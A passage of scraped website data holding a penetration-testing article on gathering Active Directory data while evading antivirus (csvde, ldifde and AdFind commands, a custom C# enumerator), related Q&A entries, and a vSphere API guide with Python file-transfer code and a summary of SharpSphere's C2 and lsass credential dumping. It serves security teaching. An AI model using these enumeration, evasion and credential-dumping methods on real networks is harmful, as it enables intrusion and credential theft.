of exporting Active Directory information from the current domain\u003C\u002Fh3>\u003Cp>Export all information from the current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>csvde -f all.csv\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all user information in the current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>csvde -f user.csv -r \"(&amp;(objectCategory=person))\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all machine information in the current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>csvde -f machine.csv -r \"(&amp;(objectCategory=computer))\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all group information in the current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>csvde -f group.csv -r \"(&amp;(objectCategory=group))\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all user information in the Domain Admins group in the current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>csvde -f admin.csv -r \"(&amp;(objectCategory=group)(name=Domain Admins))\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all OU information in the current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>csvde -f ou.csv -r \"(&amp;(objectCategory=organizationalUnit))\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all domain usernames in the current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>csvde -f username.csv -r \"(&amp;(objectCategory=person))\" -l SamAccountName\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all computer names in the current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>csvde -f machinename.csv -r \"(&amp;(objectCategory=computer))\" -l name\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Example of remotely exporting Active Directory information from outside the domain\u003C\u002Fh3>\u003Cp>Export all information from the remote domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>csvde -s 192.168.1.1 -a test\\admin Password -f all.csv\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x03 Using ldifde to obtain Active Directory information\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Documentation:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fprevious-versions\u002Fwindows\u002Fit-pro\u002Fwindows-server-2012-r2-and-2012\u002Fcc731033(v=ws.11)\u003C\u002Fp>\u003Cp>The file format exported using ldifde is LDIF, which can be viewed with notepad.exe\u003C\u002Fp>\u003Ch3>1. Example of exporting Active Directory information from the current domain\u003C\u002Fh3>\u003Cp>Export all information from the current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ldifde -f all.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all user information from the current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ldifde -r \"(&amp;(objectCategory=person))\" -f user.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all machine information from the current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ldifde -r \"(&amp;(objectCategory=computer))\" -f machine.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all group information from the current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ldifde -r \"(&amp;(objectCategory=group))\" -f group.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export user information for all administrator groups in the current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ldifde -r \"(&amp;(objectCategory=group)(name=Domain Admins))\" -f admin.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all OU information in the current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ldifde -r \"(&amp;(objectCategory=organizationalUnit))\" -f ou.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all domain usernames in the current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ldifde -r \"(&amp;(objectCategory=person))\" -l SamAccountName -f username.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all computer names in the current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ldifde -r \"(&amp;(objectCategory=computer))\" -l name -f machinename.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Example of remotely exporting Active Directory information from outside the domain\u003C\u002Fh3>\u003Cp>Export all information from the remote domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ldifde -s 192.168.1.1 -a test\\admin Password -f all.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 Using AdFind to obtain Active Directory information\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Download address:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fwww.joeware.net\u002Ffreetools\u002Ftools\u002Fadfind\u002F\u003C\u002Fp>\u003Ch3>1. Example of Exporting Active Directory Information from Current Domain\u003C\u002Fh3>\u003Cp>Export all information from current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>adfind.exe -h 127.0.0.1&gt;all.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all user information from current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>adfind.exe -h 127.0.0.1 -f objectcategory=person&gt;user.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all machine information from current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>adfind.exe -h 127.0.0.1 -f objectcategory=computer&gt;machine.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all group information from current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>adfind.exe -h 127.0.0.1 -f objectcategory=group&gt;group.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all user information from Domain Admins group in current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>adfind.exe -h 127.0.0.1 -f \"(&amp;(objectCategory=group)(name=Domain Admins))\"&gt;admin.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all OU information from current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>adfind.exe -h 127.0.0.1 -f objectcategory=organizationalUnit&gt;ou.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all domain usernames from current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>adfind.exe -h 127.0.0.1 -f objectcategory=person SamAccountName&gt;username.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Export all computer names in the current domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>adfind.exe -h 127.0.0.1 -f objectcategory=computer name&gt;machinename.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Example of remotely exporting Active Directory information from outside the domain\u003C\u002Fh3>\u003Cp>Export all information from the remote domain:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>adfind.exe -h 192.168.1.1 -u test\\admin -up Password&gt;all.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x05 Lightweight acquisition tool developed in C#\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>SharpView implements the functionality of PowerView for obtaining Active Directory information through .Net, with comprehensive features, but it may be intercepted by antivirus software.\u003C\u002Fp>\u003Cp>By calling the System.DirectoryServices namespace, we can easily implement simple functions to meet basic needs, and typically, it will not be intercepted by antivirus software.\u003C\u002Fp>\u003Cp>Here, the previous code ListUserMailbyLDAP.cs can be used as a template, and only the query statement needs to be modified.\u003C\u002Fp>\u003Cp>I have implemented a lightweight tool based on the basic functionality of AdFind as a reference. The complete code has been uploaded to GitHub, and the address is as follows:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>SharpADFindDemo can be directly compiled on Windows systems with .Net 3.5 or .Net 4\u003C\u002Fp>\u003Cp>The compilation method is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\csc.exe SharpADFindDemo.cs \u002Fr:System.DirectoryServices.dll\u003Cbr>or\u003Cbr>C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe SharpADFindDemo.cs \u002Fr:System.DirectoryServices.dll\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Supports exporting the following AD information:\u003C\u002Fp>\u003Cul>\u003Cli>user, all domain user information\u003C\u002Fli>\u003Cli>machine, all domain computer information\u003C\u002Fli>\u003Cli>group, all domain group information\u003C\u002Fli>\u003Cli>ou, all domain OU information\u003C\u002Fli>\u003Cli>username, export only domain usernames\u003C\u002Fli>\u003Cli>machinename, export only domain computer names\u003C\u002Fli>\u003Cli>groupname, export only domain group names\u003C\u002Fli>\u003Cli>ouname, export only domain OU names\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Note that the default maximum number of exports is 1000\u003C\u002Fp>\u003Ch2>0x06 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article supplements the methods for obtaining Active Directory information, introduces three commonly used tools, develops a lightweight acquisition tool SharpADFindDemo using C#, and suggests that it can serve as a template to integrate additional features with SharpView in the future.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","2026-02-02T08:21:21.083Z",{"title":126,"description":116,"keywords":127,"ogImage":26,"canonicalUrl":26,"noIndex":50},"Bypass AV for Active Directory Info Gathering: csvde, ldifde, AdFind","Active Directory, information gathering, bypass antivirus, csvde, ldifde, AdFind, penetration testing, AD tools",[],{"docs":130,"hasNextPage":50},[131,138,145,152],{"id":132,"question":133,"answer":134,"answerHtml":134,"slug":135,"keywords":136,"article":84,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":137,"createdAt":137,"_status":61},13,"How does the lightweight C# tool SharpADFindDemo help avoid antivirus detection?","SharpADFindDemo is a custom C# tool that leverages the `System.DirectoryServices` namespace to query Active Directory, making it less likely to be flagged by antivirus compared to popular tools like PowerView or SharpView. It can be compiled directly on a target system using `csc.exe` and supports exporting users, computers, groups, and OUs. The tool is designed based on AdFind functionality and serves as a template for integrating more advanced features. For a deeper understanding of similar gathering techniques, see the original article [Penetration Basics - Active Directory Information Gathering 2: Bypass AV](\u002Fnews\u002Fpenetration-basics-active-directory-information-gathering-2-bypass-av).","how-does-the-lightweight-c-tool-sharpadfinddemo-help-avoid-antivirus-detection-1777485554214","C# tool, SharpADFindDemo, System.DirectoryServices, bypass antivirus, .Net compilation, AD query","2026-07-23T16:02:53.809Z",{"id":139,"question":140,"answer":141,"answerHtml":141,"slug":142,"keywords":143,"article":84,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":144,"createdAt":144,"_status":61},12,"What are the key differences between `csvde` and `ldifde` for AD information gathering?","Both `csvde` and `ldifde` are built-in Windows tools that export Active Directory data. The main difference is the output format: `csvde` produces CSV files that can be opened in Excel, while `ldifde` produces LDIF files viewable in notepad. Their syntax and filtering capabilities are very similar—for instance, `ldifde -r \"(&(objectCategory=computer))\" -f machine.txt` exports all computers. Both are trusted by most antivirus because they are native Windows utilities.","what-are-the-key-differences-between-csvde-and-ldifde-for-ad-information-gatheri-1777485554158","csvde, ldifde, LDIF, CSV, Active Directory, difference, export format","2026-07-23T16:02:53.491Z",{"id":146,"question":147,"answer":148,"answerHtml":148,"slug":149,"keywords":150,"article":84,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":151,"createdAt":151,"_status":61},11,"How can `csvde` be used to extract Active Directory information without being blocked by antivirus?","`csvde` is a built-in Windows command-line tool that exports AD data in CSV format, and it is typically not flagged by antivirus. For example, to export all users in the current domain, you can run `csvde -f user.csv -r \"(&(objectCategory=person))\"`. It can also be used remotely with the `-s` and `-a` parameters. More details on running `csvde` on older systems can be found in [Penetration Basics - Running csvde on Windows 7](\u002Fnews\u002Fpenetration-basics-running-csvde-on-windows-7).","how-can-csvde-be-used-to-extract-active-directory-information-without-being-bloc-1777485554104","csvde, Active Directory, export, CSV, antivirus bypass, LDAP filter","2026-07-23T16:02:53.190Z",{"id":153,"question":154,"answer":155,"answerHtml":155,"slug":156,"keywords":157,"article":84,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":158,"createdAt":158,"_status":61},10,"What is the main goal of the article 'Penetration Basics - Active Directory Information Gathering 2: Bypass AV'?","The article focuses on gathering Active Directory information while bypassing antivirus software. It builds on the methods introduced in [Penetration Basics - Obtaining Active Directory Information](\u002Fnews\u002Fpenetration-basics-obtaining-active-directory-information) but addresses the problem that some tools may be blocked by AV. It covers using `csvde`, `ldifde`, `AdFind`, and a custom lightweight C# tool as alternatives that are less likely to trigger AV.","what-is-the-main-goal-of-the-article-penetration-basics-active-directory-informa-1777485554050","bypass antivirus, Active Directory, information gathering, csvde, ldifde, AdFind, C# tool","2026-07-23T16:02:52.828Z",{"title":26,"description":26,"image":26},"2026-07-24T02:07:31.011Z","2026-07-23T16:00:53.579Z",{"id":70,"title":163,"slug":164,"description":165,"content":166,"contentHtml":172,"contentMarkdown":26,"cover":26,"author":43,"views":14,"readingTime":84,"status":45,"publishedAt":173,"seo":174,"tags":177,"qaPairs":178,"meta":215,"updatedAt":216,"createdAt":217,"_status":61},"vSphere Development Guide 2 – vSphere Web Services API","vsphere-development-guide-2-vsphere-web-services-api","Learn vSphere Web Services API development with pyvmomi, analyze SharpSphere, and manage VMs via Python. Includes file upload\u002Fdownload code examples.",{"root":167},{"type":12,"format":13,"indent":14,"version":15,"children":168,"direction":24},[169],{"type":18,"format":13,"indent":14,"version":15,"children":170,"direction":24},[171],{"mode":21,"text":172,"type":23,"style":13,"detail":14,"format":14,"version":15},"\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The previous article 'vSphere Development Guide 1 – vSphere Automation API' introduced methods for interacting with vCenter Server and virtual machines through the vSphere Automation API. However, some operations in the vSphere Automation API are not supported by older versions of vCenter (&lt; vSphere 7.0U2), limiting its universality. This article will introduce a more universal implementation method – the vSphere Web Services API.\u003C\u002Fp>\u003Ch2>0x01 Overview\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Development details of the vSphere Web Services API\u003C\u002Fli>\u003Cli>Analysis of the open-source tool SharpSphere\u003C\u002Fli>\u003Cli>Open-source code vSphereWebServicesAPI_Manage.py\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Development Details of the vSphere Web Services API\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Reference documents:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fcode.vmware.com\u002Fapis\u002F968\u003C\u002Fp>\u003Cp>https:\u002F\u002Fcode.vmware.com\u002Fdocs\u002F11721\u002Fvmware-vsphere-web-services-sdk-programming-guide\u003C\u002Fp>\u003Cp>References for Python implementation code:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Fvmware\u002Fpyvmomi-community-samples\u003C\u002Fp>\u003Cp>To improve efficiency, we implement this based on the Python SDK pyvmomi\u003C\u002Fp>\u003Cp>Specific details are as follows:\u003C\u002Fp>\u003Ch4>(1) Login operation\u003C\u002Fh4>\u003Cp>Call SmartConnect, passing in the username and plaintext password\u003C\u002Fp>\u003Cp>Specific details can be viewed in the file \u002Flib\u002Fsite-packages\u002FpyVim\u002Fconnect.py after installing pyvmomi\u003C\u002Fp>\u003Ch4>(2) View virtual machine configuration\u003C\u002Fh4>\u003Cp>Query by creating a ContainerView managed object\u003C\u002Fp>\u003Cp>Compared to the vSphere Automation API, the obtained content is more comprehensive\u003C\u002Fp>\u003Cp>For example, vsphere-automation-sdk-python does not support obtaining the UUID corresponding to each virtual machine, but it can be obtained through pyvmomi\u003C\u002Fp>\u003Ch4>(3) Send files to a virtual machine\u003C\u002Fh4>\u003Cp>Use the method InitiateFileTransferToGuest, which requires passing in the following six parameters:\u003C\u002Fp>\u003Cul>\u003Cli>vm, specifying the virtual machine to operate on\u003C\u002Fli>\u003Cli>auth, credentials for logging into the virtual machine\u003C\u002Fli>\u003Cli>guestFilePath, the save path for the file sent to the virtual machine\u003C\u002Fli>\u003Cli>fileAttributes, the file attributes sent to the virtual machine\u003C\u002Fli>\u003Cli>fileSize, file size\u003C\u002Fli>\u003Cli>overwrite, specifies whether to overwrite\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Upon successful execution, returns the URI corresponding to the file\u003C\u002Fp>\u003Cp>Use the PUT method to access the URI, with the data field containing the file content to be sent, which must be transmitted in binary format\u003C\u002Fp>\u003Cp>The specific implementation code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def UploadFileToVM(api_host, username, password, vm_name, guest_username, guest_user_password, local_path, guest_path):\u003Cbr>    service_instance = SmartConnect(host=api_host, user=username, pwd=password, port=443, disableSslCertValidation=True)\u003Cbr>    if not service_instance:\u003Cbr>        raise SystemExit(\"[!] Unable to connect to host with supplied credentials.\")\u003Cbr>\u003Cbr>    creds = vim.vm.guest.NamePasswordAuthentication(username = guest_username, password = guest_user_password)\u003Cbr>\u003Cbr>    with open(local_path, 'rb') as file_obj:\u003Cbr>        data_to_send = file_obj.read()\u003Cbr>\u003Cbr>    try:\u003Cbr>\u003Cbr>        content = service_instance.RetrieveContent()\u003Cbr>        vm = get_obj(content, [vim.VirtualMachine], vm_name)\u003Cbr>        if not vm:\u003Cbr>            raise SystemExit(\"Unable to locate the virtual machine.\")\u003Cbr>\u003Cbr>        file_attribute = vim.vm.guest.FileManager.FileAttributes()    \u003Cbr>        profile_manager = content.guestOperationsManager.fileManager\u003Cbr>        res = profile_manager.InitiateFileTransferToGuest(vm, creds, guest_path, file_attribute, len(data_to_send), True)      \u003Cbr>        print(\"[+] transfer uri: \" + res)\u003Cbr>\u003Cbr>        headers = {\u003Cbr>            \"User-Agent\": \"Mozilla\u002F5.0 (X11; Linux x86_64; rv:52.0) Gecko\u002F20100101 Firefox\u002F52.0\",\u003Cbr>        } \u003Cbr>        r = requests.put(res, headers = headers, data = data_to_send, verify = False)\u003Cbr>        if r.status_code ==200:\u003Cbr>            print(\"[+] \" + r.text)\u003Cbr>        else:         \u003Cbr>            print(\"[!]\" + str(r.status_code))\u003Cbr>            print(r.text)\u003Cbr>            exit(0)\u003Cbr>\u003Cbr>    except vmodl.MethodFault as error:\u003Cbr>        print(\"[!] Caught vmodl fault : \" + error.msg)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(4) Download files from virtual machine\u003C\u002Fh4>\u003Cp>Using the InitiateFileTransferFromGuest method, the following three parameters must be passed:\u003C\u002Fp>\u003Cul>\u003Cli>vm, specifies the virtual machine to operate on\u003C\u002Fli>\u003Cli>auth, credentials for logging into the virtual machine\u003C\u002Fli>\u003Cli>guestFilePath, the path of the virtual machine file to be downloaded\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Upon successful execution, returns the uri corresponding to the specified file\u003C\u002Fp>\u003Cp>When accessing the uri using the GET method, distinguish between text format and binary format when retrieving file content. Text format can be read using r.text, while binary format can be read using r.content\u003C\u002Fp>\u003Cp>The specific implementation code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def DownloadFileFromVM(api_host, username, password, vm_name, guest_username, guest_user_password, guest_path, type):\u003Cbr>    service_instance = SmartConnect(host=api_host, user=username, pwd=password, port=443, disableSslCertValidation=True)\u003Cbr>    if not service_instance:\u003Cbr>        raise SystemExit(\"[!] Unable to connect to host with supplied credentials.\")\u003Cbr>\u003Cbr>    creds = vim.vm.guest.NamePasswordAuthentication(username = guest_username, password = guest_user_password)\u003Cbr>\u003Cbr>    try:\u003Cbr>\u003Cbr>        content = service_instance.RetrieveContent()\u003Cbr>        vm = get_obj(content, [vim.VirtualMachine], vm_name)\u003Cbr>        if not vm:\u003Cbr>            raise SystemExit(\"Unable to locate the virtual machine.\")\u003Cbr>   \u003Cbr>        profile_manager = content.guestOperationsManager.fileManager\u003Cbr>        res = profile_manager.InitiateFileTransferFromGuest(vm, creds, guest_path)\u003Cbr>        print(\"[+] transfer uri: \" + res.url)\u003Cbr>        print(\"    size: \" + str(res.size))\u003Cbr>        headers = {\u003Cbr>            \"User-Agent\": \"Mozilla\u002F5.0 (X11; Linux x86_64; rv:52.0) Gecko\u002F20100101 Firefox\u002F52.0\",\u003Cbr>        }\u003Cbr>        r = requests.get(res.url, headers = headers, verify = False)\u003Cbr>        if r.status_code == 200:\u003Cbr>            if type == \"text\":\u003Cbr>                print(\"[+] result: \")\u003Cbr>                print(r.text)\u003Cbr>            else:\u003Cbr>                print(\"[+] save the result as temp.bin\")\u003Cbr>                with open(\"temp.bin\", \"wb\") as file_obj:\u003Cbr>                    file_obj.write(r.content)\u003Cbr>  \u003Cbr>        else:\u003Cbr>            print(\"[!]\" + str(r.status_code))\u003Cbr>            print(r.text)\u003Cbr>            exit(0)\u003Cbr>\u003Cbr>    except vmodl.MethodFault as error:\u003Cbr>        print(\"[!] Caught vmodl fault : \" + error.msg)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>Analysis of the Open-Source Tool SharpSphere 0x03\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002FJamesCooteUK\u002FSharpSphere\u003C\u002Fp>\u003Cp>Developed in C#, compatible with Cobalt Strike\u003C\u002Fp>\u003Cp>Supports the following features:\u003C\u002Fp>\u003Cul>\u003Cli>Acts as a C2 server\u003C\u002Fli>\u003Cli>Code execution\u003C\u002Fli>\u003Cli>File upload\u003C\u002Fli>\u003Cli>File download\u003C\u002Fli>\u003Cli>View virtual machine configuration\u003C\u002Fli>\u003Cli>Dump memory\u003C\u002Fli>\u003C\u002Ful>\u003Cp>The implementation process for dumping memory is as follows:\u003C\u002Fp>\u003Cul>\u003Cli>Obtain a virtual machine snapshot; if none exists, create a snapshot file (.vmem)\u003C\u002Fli>\u003Cli>Download the snapshot locally via file URI creation\u003C\u002Fli>\u003Cli>Parse the snapshot file using WinDbg and Mimikatz to extract credentials from the lsass process\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Currently, operations on Linux virtual machines are not supported.\u003C\u002Fp>\u003Cp>During actual use, if you encounter the following error:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Error: An error occurred while making the HTTP request to https:\u002F\u002F\u003Cip>\u002F. This could be due to the fact that the server certificate is not configured properly with HTTP.SYS in the HTTPS case. This could also be caused by a mismatch of the security binding between the client and the server.\u003C\u002Fip>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>You can try adding the following code to resolve it:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls12;\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 Open Source Code\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The complete open source code has been uploaded to GitHub, with the address as follows:\u003C\u002Fp>\u003Cp>An Open Source Project\u003C\u002Fp>\u003Cp>Code Applicable Version: No restrictions\u003C\u002Fp>\u003Cp>Supports the following features:\u003C\u002Fp>\u003Cul>\u003Cli>Read virtual machine configurations\u003C\u002Fli>\u003Cli>View virtual machine files\u003C\u002Fli>\u003Cli>Delete virtual machine files\u003C\u002Fli>\u003Cli>Upload files to the virtual machine\u003C\u002Fli>\u003Cli>Download files from the virtual machine\u003C\u002Fli>\u003Cli>Execute commands in the virtual machine\u003C\u002Fli>\u003C\u002Ful>\u003Cp>The specific commands are as follows:\u003C\u002Fp>\u003Cul>\u003Cli>ListVM\u003C\u002Fli>\u003Cli>GetVMConfig\u003C\u002Fli>\u003Cli>ListHost\u003C\u002Fli>\u003Cli>ListVMProcess\u003C\u002Fli>\u003Cli>CreateVMProcess\u003C\u002Fli>\u003Cli>KillVMProcess\u003C\u002Fli>\u003Cli>ListVMFolder\u003C\u002Fli>\u003Cli>DeleteVMFile\u003C\u002Fli>\u003Cli>DownloadFileFromVM\u003C\u002Fli>\u003Cli>UploadFileToVM\u003C\u002Fli>\u003C\u002Ful>\u003Cp>For operations on virtual machines, both Windows and Linux systems are supported\u003C\u002Fp>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the method of interacting with vCenter Server and virtual machines through the vSphere Web Services API, including the open-source implementation code vSphereWebServicesAPI_Manage.py, and documents the development details.\u003C\u002Fp>\u003Cp>Regarding the vSphere Web Services API, it offers greater versatility; however, due to being developed based on the SDK, the resulting tools tend to have a larger file size.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","2026-02-02T08:21:10.771Z",{"title":175,"description":165,"keywords":176,"ogImage":26,"canonicalUrl":26,"noIndex":50},"vSphere Web Services API Guide: Development & SharpSphere Analysis","vSphere Web Services API, pyvmomi, SharpSphere, VMware development, virtual machine management, Python SDK, file transfer, vSphere Automation API",[],{"docs":179,"hasNextPage":50},[180,187,194,201,208],{"id":181,"question":182,"answer":183,"answerHtml":183,"slug":184,"keywords":185,"article":70,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":186,"createdAt":186,"_status":61},23,"What Python SDK is used to implement the vSphere Web Services API examples in the article, and how do you perform a login operation?","The article uses the Python SDK `pyvmomi`, specifically calling `SmartConnect` with the vCenter host, username, and plaintext password to establish a connection. This gives access to a wider range of management objects compared to the Automation SDK. The full implementation details are in the [vSphere Development Guide 2](\u002Fnews\u002Fvsphere-development-guide-2-vsphere-web-services-api) article.","what-python-sdk-is-used-to-implement-the-vsphere-web-services-api-examples-in-th-1777485540113","pyvmomi, SmartConnect, login, vSphere Web Services API","2026-07-23T16:02:57.700Z",{"id":188,"question":189,"answer":190,"answerHtml":190,"slug":191,"keywords":192,"article":70,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":193,"createdAt":193,"_status":61},22,"What is the difference between downloading a file in text versus binary format using the `InitiateFileTransferFromGuest` method?","After `InitiateFileTransferFromGuest` returns a URI, you access it with a GET request. For text files, read the response content using `r.text`, which decodes the data as text. For binary files, use `r.content` and save it directly (e.g., as `temp.bin`) to preserve the byte stream. The choice depends on the file type 